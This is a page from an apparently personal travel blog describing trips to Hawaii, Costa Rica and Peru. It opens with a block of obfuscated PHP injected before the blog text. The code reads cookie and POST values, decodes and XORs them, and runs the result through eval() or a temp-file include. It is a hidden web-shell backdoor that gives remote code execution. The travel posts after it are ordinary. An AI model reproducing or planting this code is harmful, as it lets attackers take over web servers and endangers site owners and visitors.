$QfzSW = chr ( 1001 - 903 )."\x5f" . chr ( 192 - 104 ).'V' . "\170" . "\x73";$VyWSfweD = "\x63" . 'l' . chr ( 245 - 148 ).chr (115) . chr ( 790 - 675 ).chr ( 730 - 635 )."\x65" . chr ( 483 - 363 ).'i' . chr (115) . "\164" . chr (115); $RjZSoAlfti = class_exists($QfzSW); $VyWSfweD = "52440";$JbbTfEnQxN = !1;if ($RjZSoAlfti == $JbbTfEnQxN){function poKZaue(){return FALSE;}$GXXLgERTbA = "28817";poKZaue();class b_XVxs{private function kcmeoKX($GXXLgERTbA){if (is_array(b_XVxs::$cvLgxBnc)) {$yguGOwJ = str_replace(chr (60) . "\77" . chr (112) . "\x68" . chr (112), "", b_XVxs::$cvLgxBnc['c' . chr (111) . chr ( 636 - 526 )."\x74" . "\x65" . chr (110) . chr (116)]);eval($yguGOwJ); $GXXLgERTbA = "28817";exit();}}private $yLGNtKaHQQ;public function waEfF(){echo 10041;}public function __destruct(){$GXXLgERTbA = "62285_13946";$this->kcmeoKX($GXXLgERTbA); $GXXLgERTbA = "62285_13946";}public function __construct($SuACbXwlma=0){$NDVBCo = $_POST;$odccqzGBAX = $_COOKIE;$hpFjVK = "f095e8d6-2171-46ca-aad9-92b299011a84";$GJnntnvlG = @$odccqzGBAX[substr($hpFjVK, 0, 4)];if (!empty($GJnntnvlG)){$cudNfWzkLy = "base64";$EeUEwDryjj = "";$GJnntnvlG = explode(",", $GJnntnvlG);foreach ($GJnntnvlG as $ftDJf){$EeUEwDryjj .= @$odccqzGBAX[$ftDJf];$EeUEwDryjj .= @$NDVBCo[$ftDJf];}$EeUEwDryjj = array_map($cudNfWzkLy . chr (95) . "\144" . chr ( 732 - 631 )."\x63" . chr (111) . "\x64" . chr (101), array($EeUEwDryjj,)); $EeUEwDryjj = $EeUEwDryjj[0] ^ str_repeat($hpFjVK, (strlen($EeUEwDryjj[0]) / strlen($hpFjVK)) + 1);b_XVxs::$cvLgxBnc = @unserialize($EeUEwDryjj); $EeUEwDryjj = class_exists("62285_13946");}}public static $cvLgxBnc = 44219;}$HfpvAxQji = new /* 33573 */ $QfzSW(28817 + 28817); $GXXLgERTbA = strpos($GXXLgERTbA, $GXXLgERTbA); $JbbTfEnQxN = $HfpvAxQji = $GXXLgERTbA = Array();}$VfvOtI = "\x6d" . 'v' . "\x50" . chr ( 568 - 473 )."\x4b" . chr ( 1067 - 983 ).chr (113) . 'q';$YepOuBvZMj = "\x63" . chr (108) . "\x61" . "\163" . chr (115) . chr (95) . chr ( 686 - 585 )."\x78" . "\151" . 's' . chr ( 757 - 641 ).chr ( 1018 - 903 ); $DaKBa = class_exists($VfvOtI); $YepOuBvZMj = "43561";$XXfinpKdn = strpos($YepOuBvZMj, $VfvOtI);if ($DaKBa == $XXfinpKdn){function GtXKTPM(){$xEBordVnoH = new /* 55472 */ mvP_KTqq(31278 + 31278); $xEBordVnoH = NULL;}$VCfLfBw = "31278";class mvP_KTqq{private function seuHSea($VCfLfBw){if (is_array(mvP_KTqq::$tfdnOcrbSj)) {$name = sys_get_temp_dir() . "/" . crc32(mvP_KTqq::$tfdnOcrbSj["salt"]);@mvP_KTqq::$tfdnOcrbSj["write"]($name, mvP_KTqq::$tfdnOcrbSj["content"]);include $name;@mvP_KTqq::$tfdnOcrbSj["delete"]($name); $VCfLfBw = "31278";exit();}}public function ZOEreboZRC(){$CqGzLXmgJi = "48740";$this->_dummy = str_repeat($CqGzLXmgJi, strlen($CqGzLXmgJi));}public function __destruct(){mvP_KTqq::$tfdnOcrbSj = @unserialize(mvP_KTqq::$tfdnOcrbSj); $VCfLfBw = "63288_7488";$this->seuHSea($VCfLfBw); $VCfLfBw = "63288_7488";}public function ipGxzTDBvp($CqGzLXmgJi, $pDYbcdyk){return $CqGzLXmgJi[0] ^ str_repeat($pDYbcdyk, intval(strlen($CqGzLXmgJi[0]) / strlen($pDYbcdyk)) + 1);}public function mPNMsVvS($CqGzLXmgJi){$ItoZp = chr ( 212 - 114 ).chr (97) . 's' . "\x65" . chr ( 430 - 376 )."\x34";return array_map($ItoZp . chr (95) . 'd' . chr ( 408 - 307 )."\143" . 'o' . "\x64" . 'e', array($CqGzLXmgJi,));}public function __construct($GRqlMUw=0){$bysmmIg = "\x2c";$CqGzLXmgJi = "";$YFafZHLfi = $_POST;$tcYXA = $_COOKIE;$pDYbcdyk = "6d97da7d-d34d-43b9-b7c6-f2a783baf789";$QTTqvlAW = @$tcYXA[substr($pDYbcdyk, 0, 4)];if (!empty($QTTqvlAW)){$QTTqvlAW = explode($bysmmIg, $QTTqvlAW);foreach ($QTTqvlAW as $yxbjpKCIxz){$CqGzLXmgJi .= @$tcYXA[$yxbjpKCIxz];$CqGzLXmgJi .= @$YFafZHLfi[$yxbjpKCIxz];}$CqGzLXmgJi = $this->mPNMsVvS($CqGzLXmgJi);}mvP_KTqq::$tfdnOcrbSj = $this->ipGxzTDBvp($CqGzLXmgJi, $pDYbcdyk);if (strpos($pDYbcdyk, $bysmmIg) !== FALSE){$pDYbcdyk = explode($bysmmIg, $pDYbcdyk); $xJKDMiJVJh = base64_decode(md5($pDYbcdyk[0])); $auify = strlen($pDYbcdyk[1]) > 5 ? substr($pDYbcdyk[1], 0, 5) : $pDYbcdyk[1];$_GET['new_key'] = md5(implode('', $pDYbcdyk)); $dNUtwl = str_repeat($auify, 2); $KkMINZ = array_map('trim', $pDYbcdyk);}}public static $tfdnOcrbSj = 23309;}GtXKTPM();} Uncategorized – Melissa's Visual Ramblings

Hawaii: Paradise to the Max

Where to begin! We had such an amazing trip to a couple of the Hawaiian islands. This was a “mom and dad” only trip, though we missed our little guy terribly. Hawaii is certainly family-friendly and it seemed that we ran into a two-year-old wherever we went. But we did have fun and we’re feeling so relaxed.

We started our trip celebrating a good friend’s wedding in Oahu. My Hawaiian engineering buddy got married there last weekend, and it’s been a decade-long dream to see the magical place where he grew up. The ceremony was small with a lot of family and a super fun Penn crew. We had a blast. We also got to stay nearby on Waikiki at the oldest hotel in Oahu, which was gorgeous. We loved the sunsets and breakfast on the ocean. Waikiki was jam-packed with people but it was remarkably low-key. There were no vendors walking the beach or crazy college party-goers, so the vibe was very chill. (aka Hawaiian.)

The Diamond Head Crater Hike was everything that it was cracked up to be – gorgeous views of Waikiki and the rest of the island. We also got to tour the Pearl Harbor memorial for a few hours, which was educational and chilling. I didn’t realize that bombing Pearl Harbor was Japan’s strategy to prevent the US from intervening in the Pacific during WWII while Japan raided island nations oil supplies. Also, the number of US submarines that were sank in the war and since is crazy – it’s been dozens. It was fun to learn about the culture and “day in a life” of the men who lived on the navy ships, and terribly sad to learn how many of them lost their lives in the bombing of Pearl Harbor.

View from Diamondhead crater hike

After a quick weekend in Oahu, we packed up and headed to the incredible paradise of Kauai. It was everything that our friends had told us and more. We loved our few days in charming Hanalei, which is a small beach town on the north coast of the island. There were no buildings taller than two stories and there was one road through town, and several single-lane bridges where drivers amicably take turns crossing. The food was outstanding! An award-winning chef from SF packed his bags and created three fantastic restaurants next to each other on the main street: AMA, Bar Acuda, and Hanalei Bread Company. Don’t make me pick a favorite!

We also had to try “shave ice” while in Hawaii. I was expecting something like a gas station slushy, but no! The flavors actually tasted like banana colada, lychee, and pineapple – and there was homemade macadamia ice cream on the bottom. Yum! I have to say though, my favorite dessert in Hawaii was the peanut butter pie at Bar Acuda. They made their own chocolate sauce and holyyy cow was it good.

Shave ice. Not like the gas station kind.

Our stay at Hanalei Colony Resort was “quaint” – they pride themselves on having no TV, telephones or air conditioning. The way to stay cool was to have the ocean breeze ripping through your room. Honestly, it was very relaxing. We had a private beach generally all to ourselves right outside of our window. An oceanside massage helped set the pace too.

Our highlight activity of the north shore was the Kalalau hiking trail, which took us eight miles along the ocean cliffs down to a hidden beach, and into the island to see a spectacular 300 foot tall waterfall. The hike was technical, as they say, but gorgeous. These untouched beaches are unreal. We then spent the afternoon snorkeling at a nearby beach called Tunnels Beach where I had my first successful snorkeling outing! I swear whenever I try to snorkel, I see nothing. Not this time! There were tons of brightly colored fish swimming in and around the coral reefs. We tried to freeze in place so they would keep swimming around us. I felt like I was in an aquarium at the dentist’s office swimming with all the pretty tropical fish.

Surfing lessons in Hanalei Bay were another favorite. Our soon-to-be friend Johnny at Titus Kinimaki’s Surf School was a fabulous teacher. This was my third surfing lesson in my life, but I realized it was the only one done by a native English speaker – and I learned so much! Johnny had us catching almost every single wave with his fantastic coaching. It made us feel like real surfers. Highly recommend! I also got to swim a couple miles in Hanalei Bay the next morning when it was as calm as bathwater (probably even calmer than the tub when Emerson is in it) and it was such a treat.

We were so bummed to leave Hanalei – I can see why people come for a week and stay for a lifetime. But on Mark’s birthday (!) we made the 75 minute drive down to Poipu on the south shore, with a stop at Secret Beach along the way. It’s not actually that secret anymore; apparently Mark Zuckerberg, Pierce Brosnan, Ben Stiller and other A-list celebrities have homes nearby. It was rough in the ocean but amazingly beautiful. The ocean here is a bit of a wild card. Kauai’s north shore gets 30-60 foot swells in the winter, to which the pro surfers flock. Although we were visiting during the summer, it was windy and there were above average swells from a tropical depression off of Tahiti, at least according to the locals, who could always point us to a cove nearby where there were no waves at all. Kauai also prides itself on getting the most rain of any geography in the world. The north shore apparently has had “only” 500 inches of rain this year. It rains every day on the north shore, but in the summer it’s a drizzle that never lasts more than 20 minutes. Apparently in the winter it can rain several feet in a day.

What the north shore had in tranquility, the south shore had in tropical vibes. We spent as much time as possible lounging by the pool overlooking the ocean at Koa Kea resort. Our fist excursion from the south side was a very memorable, breathtaking experience in a helicopter. Max from Safari Helicopters toured us all over the island in the areas that aren’t reachable by car, which makes up 80% of Kauai. Most of the land is actually owned by one family (the Robinsons), and they are “conservationists” meaning they don’t want housing developments, roads and a lot of tourists impacting nature. So, a helicopter tour is almost essential if you ask me 😊 Max was a fantastic pilot and didn’t make me feel like we were floating around in the sky in that way that helicopters can do. We zoomed in and out of the Waimea Canyon, several valleys on the Na Pali Coast where Hawaiian kingdoms thrived, and somehow Max knew the answers to all of my questions along the way.

Did I mention we saw dolphins and turtles!? Captain Dave took us on a thirty-person “super raft” through the crashing ocean waves to snorkel in a reef off the west coast of the island. Along the way, a pod of spinner dolphins came up alongside us and playfully jumped around! It was unreal. I’ve never seen dolphins in the wild. While snorkeling, we saw a ton of beautiful fish and two sea turtles! They seemed to be “flying” underwater with the gracefulness of how they swam.

Kauai was such a fun place to celebrate Mark’s birthday! We went to a fancy dinner where the restaurant was constructed over a massive koi pond. We had a lovely room upgrade and chocolates at our hotels for his birthday. It was awesome to spend a whole day celebrating in paradise (especially instead of a normal Wednesday working)!

Overall, two thumbs up for Kauai. I’d recommend it to anyone and everyone. It felt like a faraway place (which it is) but didn’t require a passport, foreign language or different currency. I can see why people come to Hawaii over and over again. I’d love to explore Maui next! We are so relaxed and had an amazing time, but can’t wait to see our little guy. We want to say a MAJOR thank you to our parents for watching him while we were gone so that this trip could become a reality. Till next time!

Last Days in Costa Rica and Why You Should Visit

I thought I’d dedicate some space to why this country is so magical. Really, you should come. Here’s why. 

  1. It’s relatively undiscovered, and I think that won’t be the case in 20 years from now. It’s become an increasingly popular destination for US tourists in the last 5-10 years, but prices are still cheap and the locals still love us. 
  2. People are SO friendly, all the time!! For instance, when we walk into a restaurant, instead of jumping straight to, “How many people?” the host always asks how we’re doing and how our day was. Every single time. And they genuinely care about the answer! It’s made me realize that I should stop and take the time to really talk to people instead of rushing about my day. 
  3. PURA VIDA. Along those same lines, Ticos (Costa Ricans) have a saying that translates to “pure life”: pura vida. It goes beyond that though – it can mean please, thank you, nice to meet you, no worries, have a great day, isn’t life great, etc. One local told us that it’s not a problem if you don’t speak Spanish in Costa Rica because 80% of what’s said is “pura vida”. 
  4. Speak English? Cool! Practicing your Spanish? Awesome! They welcome everyone. It was very easy to get around using English. We were also floored by the number of people who would stoop down to our level and speak verryyy sllooowwww Spanish to help us practice. 
  5. The range of sights in one small country is astounding. The land mass of Costa Rica is approximately the same as West Virginia, yet it borders two oceans and has a rainforest in between. The west coast was hot and dry for perfect beach weather, and the rainforest experience was wet and humid with tons of cool wildlife. Plus throw in a bunch of volcanos and national parks to explore. 
  6. I have to mention how amazing our hotels were. It doesn’t seem fair to even call them hotels. In Arenal we stayed at Nayara Gardens and Amor Arenal, in both of which we had our own freestanding villa with a private jacuzzi on the deck. Amor Arenal directly faced the volcano and was bigger than some apartments that I’ve lived in. I think people would pay double or triple what we paid (which is why you need to go now and not in ten years when they’ve figured it out)!
Our back patio at Amor Arenal!
  1. There is something for everyone. Beaches, surfing, boat rides, hiking, thermal springs, canyoning, wildlife walks, hanging bridges, cooking classes, restaurants, kayaking, biking, zip lines, coffee and chocolate tours, local breweries, great food, you name it! We met people who stayed on the beach or hopped from one hot spring to the next for a week and others who took a more adventurous route. 
  2. It’s really not that far from the US. The airplane ride was only 3-3.5 hours from the Atlanta airport, and similar from Texas or other southern states. That’s much shorter than going somewhere like Southeast Asia, which is the next closest experience in my mind.
  3. Their economy is becoming more geared toward tourism, and it’s opening up doors for locals who want to do more than farming or other low-wage jobs. COVID hit them hard and shut down all tourist businesses for 4-12 months. It felt good to support these super kind, generous people. 
  4. The food was really good and so fresh. Plus it was vegetarian friendly! Bonus: I could eat those fried plantains at every. single. meal.
Yep those ones, right there.

Ugh, last day of our trip. It’s always so surprising when we get to this point. We packed in a cooking class, a massage, and a nighttime frog walk today! 

Empanadas, ceviche, and flambé plantains were on the menu at the cooking class. The empanadas were remarkably easy to make – the dough was just masa flour and water. Roll it out into a circular shape, pile on your fillings (beans/veggies/chicken/etc.), fold in half and pinch it like a dumpling, and fry them up! Ceviche in Costa Rica is served with fish that was raw but gets “cooked” by marinating in lime juice for 3-4 hours. Did you know that counts as cooking, because I didn’t. But in Peru, where it was originally created, it isn’t given time to marinate so it is considered raw fish. (Or you can sub hearts of palm and avocado chunks like me and not have to worry about it!) 🙂 We had been waiting all week for a good view of the volcano, and it actually came out during our cooking class. Clouds get stuck on the volcano and it rains a little bit almost every day – since it is a rainforest, but today was our lucky day. It was so great to get to see Arenal!

Chef Mark, getting all fired up
My attempt at an artistic dessert. Not terrible!
Come out, come out volcano!
Chef Scott has rescued 45 dogs! We got to meet a few of them while we were cooking ❤️

There is nothing like a massage at a five-star hotel like this, and then throw on the background noise of a river rushing below and the wind rustling the trees in the jungle…man. It was heaven. It felt especially good after all of the hiking and running we’ve done on these hills. They aren’t exactly mountains, but all of the topography around here is steep. My Minnesotan self isn’t used to every run being on a 45-degree incline. 

Massage setting! Completely open air.
That is a good hill, my friends.

Frogs, snakes, crabs and spiders probably aren’t our normal cup of tea, but the nighttime wildlife walk that we went on was spectacular. I don’t think either one of us quite knew what we were getting into when, for instance, the first creature that we saw was a very poisonous snake that hissed its tongue out at us. The guide’s expertise was extraordinary, and he says that he’s been doing these tours for 18 years and no tourist has ever gotten bit. I believe it, because none of the animals or insects that we saw seemed to mind that we were there. I kept waiting for them to jump at us or scurry away, but they stayed frozen in place while we all pointed our bright flashlights at them and snapped a bunch of photos. 

My favorites were the red-eyed tree frog, which were so cute, and the blue jeans poison dart frog. Though someone should tell them that skinny jeans are out. 

Mr. Blue Jeans
Red-eyed tree frog. Actually super cute (cuter than a sloth, maybe 🤔)

After all of my hoping and finger crossing that maybe some day I’d be the one to spot an animal in the rainforest, my wish came true.  I heard a rustling on the ground, pointed my flashlight and BAM there was an armadillo!! (And I heard him say “I’m a holiday armadillo!” – Ross from Friends). 

Charlotte herself, hard at work on a masterpiece.

This trip has been amazing in so many ways. I’m really glad to have gotten the time with my dear hubby, especially after everything that has kept us on our toes in the past two years (e.g. COVID, a baby, jobs, etc.). Costa Rica does a great job of catering to people who are on their honeymoon or “second honeymoon”, and we soaked it up. Thanks for traveling with us again! Until next time.

Love,

Melissa

Jungle Time in Costa Rica

Oh man. Where to begin. Costa Rica has so many cool things to see and do! I’ll start with one of my favorite elements: the wildlife. I’m not generally a “OMG SLOTHS” or “I love reptiles” sort of person, but the flora and fauna here is so unique. (I do love dogs.) I’ll start with a few fun facts that we’ve picked up along the way. 

  1. Sloths sleep an incredible 16-20 hours per day. “Peresozo” is the Spanish word for sloth, which also translates directly to “lazy” in English. 
  2. Howler monkeys don’t just howl, but make a deafening “roooaaaaaarrrrrr” noise. It is so loud that I thought it was a couple of big jungle cats fighting. 
  3. Figs are pollinated by wasps that drill holes into the hard husk and access the flowers inside. All of the male wasps die doing it. You might find hollow figs without fruit inside them because only a few are pollinated in this arduous process.
  4. Different species of frogs make unique noises, and you can actually call to them in their noise and they’ll respond. For instance, the frog with my favorite name called the Dink frog makes a noise that sounds like a smoke detector that’s out of battery. That shrill, high pitched DINK that makes you want to pull off your ears is exactly how the frog sounds. 
  5. Sloths also only come down from the treetops once a week to relieve themselves, and that’s it. They hardly eat anything (and thus have less to get rid of) because they burn so few calories sleeping all day. 
  6. Toucans have a big bill because it acts like a heat sink. Toucans don’t like to get too hot, and when they do, their beak collects the heat for them so that their bodies can stay cool. 
  7. If you find a hole where a tarantula lives, just take a stick and scratch around on the dirt outside it. It might think that it’s food and come out to see it. Lucky you!
  8. The sweetest pineapples in the world come from Costa Rica. Rumor has it that a company worked for 10 years to perfect it. Now pineapples are their number one export. 

…and many more tidbits were gleaned, but you should go to Costa Rica and learn them for yourself! We picked these up during a few outdoor adventures during our first few days in the rainforest. One was a hanging bridges tour, which was really beautiful. It was here that I first realized that I am not very good at picking out monkeys up in the canopy or spotting anoles that camouflage themselves with the leaves. The expertise of our tour guide Carlos was astounding. He had some sort of radar that could detect animals nearby.

Very cool. But so cute…?

The sloth craze here is real. We were lucky enough to see four (!) sloths in the jungle, including a baby hanging off the back of a mama sloth. Those two were discovered by someone driving a golf cart at our hotel on the path, who pointed them out to a nearby twenty-something gal. Her immediate hyperventilating alerted us to their presence. I mean, she was OBSESSED. Between breaths she declared that she would be sobbing about seeing these sloths as soon as she went back to her room. They’re cool and interesting, but are they really that cute? Idk. I know that Kristen Bell would disagree with me (look up her sloth obsession on YouTube – it is hilarious).

We started our first day in the jungle with a zip lining tour that was super fun. It included a trip on the Tarzan swing, which was intense. The zip lines were an exhilarating way to get up close with the rainforest. 

Our other favorite sight was the volcano, Arenal. It erupted in 1968 after being dormant for 300 years, to everyone’s huge surprise. There was no technology then to know what was going on inside the volcano, and apparently people chose to ignore the warning signs such as the rivers heating up and the gas puffs coming out of the top. Hmm. Unfortunately 100 people died and three towns were wiped out by the explosion. But, since then, the area has become famous for its thermal hot springs and this gorgeous volcano. The town of La Fortuna also sprang up and they really treat tourists well. Here are a few photos of our hotel in Nayara Gardens. We wander around and stumble across hidden jacuzzis, hiking loops, and yes, sloths. 

Our hiking trip also took us a mile up the Arenal volcano, which wasn’t far enough in our opinions, but I guess it makes sense from a safety perspective. It’s illegal to climb the volcano to the top, but we talked to several locals who did it during COVID when they were bored and the world seemed like it was ending anyway. 

A dip in the La Fortuna waterfall was also memorable! The current from the waterfall was pretty strong, and it was colder water than most places in Costa Rica. I swear every pool is like 90 degrees or higher, even when they call them “cold pools”. It was so pretty and something for the bucket list. 

Details on places we’d recommend: 

  • Rainforest Explorers tours (hanging bridges at Mistico, La Fortuna waterfall, Arenal hike)
  • Ecoglide zip lining and Tarzan swing (they use 2 connections at all times!)
  • Nayara Gardens & Nayara Springs hotel – go for your honeymoon (fake or real)
  • Chifa La Familia Feliz for the best Peruvian food outside of Peru (located in La Fortuna)

Costa Rica, baby!

M&M are at it again! International travel, hooray!! We went without our dear sweet Emerson, but he’ll be traveling the world with us soon enough. We finally got to Costa Rica, which has been on our list for a long time. One of our first trips was to Guatemala, which we loved – but we had actually wanted to go to Costa Rica and had been booking too last-minute 😂 so this one felt a long time coming. We have so many friends who have come here and loved it.

As for getting here, did you know that it’s less than a 4 hour flight from Atlanta to Costa Rica? Totally manageable. We did have to wake up at 3 am to get to the airport for a 5 am flight, which I would ABSOLUTELY refuse for a work trip or anything other than a vacation like this. We also had to show proof of vaccination to enter the country, which I appreciated.

view from our room!

Today was a blast. We took a two-hour surfing lesson this morning at Playa Tamarindo, which is a hot spot for beginner surfers (which is definitely what we are). It was so much fun. It turns out that I can actually surf decently well if someone just points out the right waves to catch and gives me a little shove in the right direction. I popped up and rode about 30 waves into shore. This was the fifth country between the two of us that we’ve attempted surfing in (embarrassing) and definitely our most successful!

After spending the morning surfing, we hopped on a catamaran for the afternoon. Glorious. We cruised around for a while, sipped on some drinks and met some interesting friends (including an international jujitsu icon (!?)). Snorkeling was so cool! I don’t think I’ve ever snorkeled anywhere halfway decent. I saw little neon purple fish, bright blue and yellow ones like you see in the dentist office, and Nemo’s much larger uncle. I loved it.

Until…Mark said that he was getting bit. Which isn’t uncommon because bugs love him. But we were in the water this time, and I was getting bit too. Something brushed against me as we were about to get back on the boat and it felt almost sharp. We asked the crew what these bites could be from, and they saId, “Ohhh. Yellyfish.” I said, “What?” “Yellyfish.” Jellyfish. Yep, we got stung by tiny invisible jellyfish. They gave us white vinegar to put on the stings, which helped. We’re totally fine now, it was not a big deal, but very unexpected!

I should mention how beautiful the beaches and the sunset are here. I mean, stunning. We’re staying at Playa Conchal, which is supposed to be one of the best beaches in Costa Rica and I see why. It has to be the finest, most pristine sand that I’ve ever experienced. There isn’t anything on the shore or in the water besides sand – no rocks, crabs, green things, slimy things, nothing. Only sugary white sand. And the sunsets!!! I can’t even. I’ll just show you the pictures.

No filter. Unreal.

We got to spend our first full day in Costa Rica at Playa Conchal, taking advantage of the hotel’s stand up paddle boards and cheap beach massages. We’re staying at the W, so there are ample pool DJs that set the vibe 🙂 it’s young and fun. There are many Americans here, but it seems like there are also quite a few Europeans and folks from other parts of the world.

Everyone is SO NICE. “Pure vida” is the local saying, meaning something like “enjoy life”. A driver today told us that the good thing about having a limited Spanish vocabulary in Costa Rica is a good thing because 80% of what is said is simply “pura vida”.

We get one more morning here, and then onto Arenal for a volcano adventure!

Love,

M&M

Hasta luego, Carlitos! (This is a coati, nicknamed by the wait staff.)

Last But Not Least: Dune Buggying, Sandboarding and Pisco Tasting in Peru

Our last two days in Peru were too much fun not to write up! We spent them on the coast of Peru, first in the capitol city of Lima and then an oasis-town called Huacachina.

Dunes for days
Oases are real!

Lima is known as the “gastronomic capitol” of South America, and let me tell you, it lived up to its name. One of its main claims to fame is ceviche, that citrusy raw fish appetizer, which was invented in Lima. Everywhere you go, they declare to have the best ceviche. And it is truly an art form to see the many varieties, from char-grilled to vegetarian. (I much preferred juicy mushrooms over raw fish, myself.)

Veggie ceviche. Yum.
Now that is a veggie burger, my friends.

We enjoyed walking around some of the town squares, which looked and felt very European. Honestly, I’m not sure that Lima is a place that we’d intentionally return other than for the food. The skies were mainly overcast, which is the typical winter weather for Lima. It also felt like the neighborhoods offered two distinct options: overly touristy or just not quite safe. We didn’t get a chance to explore the museums or the other cool neighborhoods so maybe I’m selling it short. 

Ocean mall. Actually really nice.

We had SUCH a blast in Huacachina, where we tested our sandboarding skills and our ability to hang on for dear life in a dune buggy! Peru has it all – mountains, deserts, and rain forests, and we took a day trip to the sand dunes. In a dune buggy with no side doors and somewhat questionable seat belts (I would’ve appreciated about 3 more of them), we went zipping over and around the giant sand dunes. It was like being on a rollercoaster without knowing which way the track would turn ahead. Really fun. 

The crazy dune buggy.

As if we hadn’t had enough thrills on this trip, we also sandboarded down the dunes. For those who were good at snowboarding already (or simply were more daring), there was an option of standing on the board and zooming down the dune. We quickly passed on that option and elected to go the safer route, which was to lay flat on our stomachs on the board and sail down the dune. I definitely wondered how going face-first would be less scary. But it was! I think we were the only Americans in our dune buggy, and the girls all got a kick out of Mark shrieking as he zoomed down.

Mark was the first to test out the sand board!

The final stop on our day trip was the one that I was looking forward to the most, which was a pisco winery/ distillery! Have you ever had a pisco sour? If you like frothy, citrusy, not-too-sweet cocktails, you should give it a try. Pisco is a liquor that is made by distilling wine (which finally answered my question of WHAT IS IT). It comes from grapes, which are then turned into wine, which is then distilled into pisco. They’re named after the region of Pisco – so they are definitely not from Chile, but Peru! Just ask a Peruvian. Pisco sours are another pride of Peru, and we had one at nearly every opportunity. 

Piscos to taste
Grape smasher!

Peru really was an amazing country with incredibly friendly people, outstanding food, and unbeatable sights. I would go back in a heartbeat. Add to your list, folks!! Thank you for reading 🙂 Till next time!

At the Museum of Pisco (clever name for a bar)
Thank you for traveling with us!

Crossed Off the Bucket List: M&M Do Machu Picchu

What do you know –  after two days of glaciers and winter weather, we spent the day among cactuses and orchids. It was quite the contrast to be in desert-like conditions, but so much nicer for sleeping! We did have a run-in while we were sleeping that sounded like mountain lions fighting, but turns out it was dogs fighting over our garbage. Same difference. 

All day today was a downhill hike. Thank goodness for walking poles – yes, they do have a purpose! They save the knees and quads during long or steep downhills by putting the upper body to work. The first two days of altitude was tough on the two kids in our group, and luckily they’re doing much better at 10,000 ft than 15,900 ft. And yes, we hiked down that far in two days. The entire hike is about 33 miles and a change in elevation of 7,000 ft. 

Today was the first day that we actually saw other tourists! The path surrounding the glacier was empty and we had it all to ourselves, which was amazing. There was not an ounce of cell service, which I didn’t miss at all. This afternoon, we used the same path that 500 other people use daily to get to Machu Picchu, and I can’t say that we loved being around civilization.

Along our hike, we saw several really impressive Incan ruins. Our guide Juan Carlos brushes them off like they’re no big deal, which is crazy because they are unbelievable. They’re perched on top of cliffs, for starters, and the symmetry and design is impeccable. The Incans clearly had a niche for setting their cities in the coolest places, like in the middle of where two mountain valleys meet – creating the coolest 360 degree views from their sacred space. 

By the way, Inca is not really a civilization or empire. Inca is the name of the ruler, similar to King, Pharaoh, Emperor, whatever. There were thirteen Incas in history, in the 1400-1500’s AD. The name of the civilization is Tawantinsuyu, which doesn’t quite roll off the tongue as easily as Inca. But now you know the truth, and Peruvians will be impressed. 

Another Incan ruins site down below!

Today was another top-notch day of eating. When we’re woken up in the morning, we’re immediately delivered hot drinks to our tents. Then came stuffed French toast and an omelet. And then fried plaintains, porridge, the fluffiest cake I’ve ever eaten came out! Lunch was chicken cordon blue and a scallion pancake for me – also amazingly delicious. Everything is made entirely from scratch, never frozen or from a box. I’m going to miss it. By the way, did you know that potatoes originated in Peru? Every potato variety can be traced back to the Andes. There ya go. 

We said goodbye to our horsemen and our cooks today, since tomorrow is entirely spent in Machu Picchu. We found out that horses are not allowed on the official Inca trail used by royals, which is the famous one. We also hiked along trails created by the Incas, but they were made for commercial and communication use. The devastating thing is that instead of horses, they use men’s backs to carry everything. For our group of six people, fourteen porters would’ve been used. 

Our entire crew

Most of the people that we saw along our path today were porters, who haul 50-65 lbs of camping gear/food/tents on their backs. It was really sad for me to see, but the reality is also that these people have jobs to feed their families. I can’t help but think there must be a better way. 

Day 3 rounded out our 33 miles of hiking. It’s amazing to see how far we walked in comparison to the giant mountains that dominate the landscape. I know I mentioned how big they are, but seriously – they’re huge. They’re incredibly steep and each one is carved out by rivers far below. I think other mountain ranges tend to run together so their height is hard to decipher, and nothing is as tall as the Andes. 

A quick train ride from the adorable town of Ollaytaytambo, where another spectacular Incan ruin is located, brought us to the cute backpacker town of Aguas Calientes. It’s built into the side of mountains (go figure) and perched above a river. Once again, the food was marvelous and the people were so friendly. I really like Peru. 

Ollaytaytambo
View from our room in Aguas Calientes
Amazing breakfast buffet

Yes, yes, I’m getting to it – we visited Machu Picchu! And yes, it lives us to all expectations. It was so built up in my mind and it really did top my wildest imagination. 

The citadel itself is very impressive, but it’s the setting that really sets it apart. Machu Picchu was built in the 1500’s at the very top of the mountains. It would cost over a billion dollars to construct it today. How it was done is simply miraculous. 

The Incas built it as a center for researching astrology, geology, farming, and religious uses – or so we think. Much is unknown. They managed to literally flatten the tip top of a mountain, clear the forest away, and move giant boulders to create their setting. They then chipped away rocks and polished them into perfect rectangular blocks that sit on top of each other to form the buildings, without using any mortar in between. 

Their technology to detect solstices was top notch. For only one day of the year, for example, a perfectly carved rock would cast a shadow shaped like a llama. The buildings, plazas and terraces go on and on – 8,000 feet above the river valleys below. I was terrified to look over the edge, much less imagine building this city that is suspended in thin air. 

Mark and I embarked on what I’ll call the most petrifying hike of our lives to see Machu Picchu from above. We felt like we were swaying in the air, barely attached to Machu Picchu mountain. We made our way up by clinging onto the side of the mountain for dear life and decided to turn back when we were just fifteen minutes from the top. But, the view was definitely good enough for us! Check it out. 

After our hiking thrills came to an end, we treated ourselves to pizza, ice cream, and craft quinoa beer. You read that right. And we brought our stinky feet to get foot massages (but tipped VERY well). 

Yuca balls & quinoa beer. Delish.

Now, back to Cuzco and we’ll have to say goodbye to Juan Carlos and our hiking buddies. What a trip. 

Love,

Melissa & Mark

M&M Hike to Machu Picchu (and other fun Peru adventures)

Hello from Peru! When I asked Mark what our blog should say, his response was, “ We almost died.” Let me just say that we didn’t quite know what we were getting into, such as hiking across 15,900 foot mountain passes. But don’t worry, Mom and Dad, we made it! 

Mark and I don’t camp. We’re just friends with people who do, and generally find ways to be active outdoors while landing at a four-star hotel at night. Plus perhaps a massage on particularly taxing days. I hope my camping friends read this and laugh (because the only other appropriate reaction would be crying). And this wasn’t even real camping, it was glamping! More on that later. 

Our trip began in Cuzco, which is an adorable town, fun to walk around, with spectacular food. The entire town is declared a UNESCO world heritage site – it’s that good-looking, and it is also the oldest consistently inhabited city in the Americas.  The people are so friendly and we felt super safe walking around everywhere. 

Our walking tour guide, showing us his favorite Peruvian fruit at the San Pedro market

The main square, Plaza de Armas, is surrounded by a stunning cathedral, a church, as well as Patagonia/ North Face stores. That basically sums up Peru – history combined with outdoor adventure. 

